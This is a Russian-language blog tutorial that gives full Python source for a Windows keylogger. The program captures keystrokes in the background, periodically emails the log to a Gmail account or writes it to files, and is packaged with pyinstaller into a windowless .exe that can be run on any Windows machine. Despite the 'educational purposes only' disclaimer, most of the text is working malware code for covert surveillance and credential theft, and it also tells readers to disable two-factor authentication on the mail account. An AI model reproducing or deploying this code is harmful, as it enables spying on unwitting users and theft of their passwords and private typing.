Share This
Связаться со мной
Крути в низ
Categories
//🕵 Пишем кейлоггер на Python для Windows за 5 минут

🕵 Пишем кейлоггер на Python для Windows за 5 минут

pishem kejlogger na python dlja windows za 5 minut 0024d40 - 🕵 Пишем кейлоггер на Python для Windows за 5 минут

Более 7 лет работы в IT-сфере. Системное администрирование, frontend разработка, написание скриптов на Python. Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.

pishem kejlogger na python dlja windows za 5 minut 010a869 - 🕵 Пишем кейлоггер на Python для Windows за 5 минут

Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.

Что такое кейлоггер и зачем он нужен

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Подготовка: устанавливаем Python и библиотеки

Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.

Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.

Ставим библиотеку простой командой в терминале:

         pip3 install keyboard     

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

         import keyboard  import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime     

Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

  • разрешен доступ для небезопасных приложений;
  • отключена двухэтапная аутентификация.

Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера» Интересно, перейти к каналу

Инициализируем параметры

         SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword"     

Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.

Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

         class Keylogger:     def __init__(self, interval, report_method="email"):         # передаем SEND_REPORT_EVERY в интервал         self.interval = interval         self.report_method = report_method         # это строковая переменная, которая содержит лог         self.log = ""         #запись начала и окончания даты и времени         self.start_dt = datetime.now()         self.end_dt = datetime.now()     

Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.

         def callback(self, event):         name = event.name         if len(name) > 1:             #не символ, специальная клавиша (например, ctrl, alt и т. д.)             #верхний регистр             if name == "space":                 #" " вместо пробелов                 name = " "             elif name == "enter":                 #добавлять новую строку всякий раз, когда нажимается ENTER                 name = "[ENTER]n"             elif name == "decimal":                 name = "."             else:                 #замените пробелы символами подчеркивания                 name = name.replace(" ", "_")                 name = f"[{name.upper()}]"         #добавить имя ключа в глобальную переменную         self.log += name     

Пишем метод для записи в локальный файл

         def update_filename(self):         #создать имя файла, которое будет идентифицировано по дате начала и окончания записи         start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")         end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")         self.filename = f"keylog-{start_dt_str}_{end_dt_str}"      def report_to_file(self):         # создать файл         with open(f"{self.filename}.txt", "w") as f:             # записать лог             print(self.log, file=f)         print(f"[+] Saved {self.filename}.txt")      

Отправка на email

          def sendmail(self, email, password, message):         # управляет подключением к SMTP-серверу         server = smtplib.SMTP(host="smtp.gmail.com", port=587)         # подключиться к SMTP-серверу в режиме TLS         server.starttls()         # логин         server.login(email, password)         # отправить сообщение         server.sendmail(email, email, message)         # завершает сеанс         server.quit()     

Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:UsersuserAppDataLocalProgramsPythonPython39Lib, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

          def report(self):         if self.log:             self.end_dt = datetime.now()             # обновить `self.filename`             self.update_filename()             if self.report_method == "email":                 self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)             elif self.report_method == "file":                 self.report_to_file()             self.start_dt = datetime.now()         self.log = ""         timer = Timer(interval=self.interval, function=self.report)         timer.daemon = True         # старт         timer.start()     

Давайте определим метод on_release():

         def start(self):         #записать дату и время начала         self.start_dt = datetime.now()         #запустить кейлогер         keyboard.on_release(callback=self.callback)         self.report()         keyboard.wait()      

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

         if __name__ == "__main__":     # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"     # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")     # для записи в локальный файл оставляем как есть     keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")     keylogger.start()     

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:

         pip3 install pyinstaller     

И собираем все в файл:

         pyinstaller --onefile -w 'keylogger.py'     

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.

Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.

Материалы по теме

  • 🕵 Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04
  • ⛑️ Этичный взлом: учимся белому хакингу
  • 🧨 Bug Bounty: как заработать на взломе

  • 1 views
  • 0 Comment

Leave a Reply

Ваш адрес email не будет опубликован.

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.

Свежие комментарии

    Рубрики

    About Author 01.

    blank
    Roman Spiridonov

    Моя специальность - Back-end Developer, Software Engineer Python. Мне 39 лет, я работаю в области информационных технологий более 5 лет. Опыт программирования на Python более 3 лет. На Django более 2 лет.

    Categories 05.

    © Speccy 2022 / All rights reserved

    Связаться со мной
    Close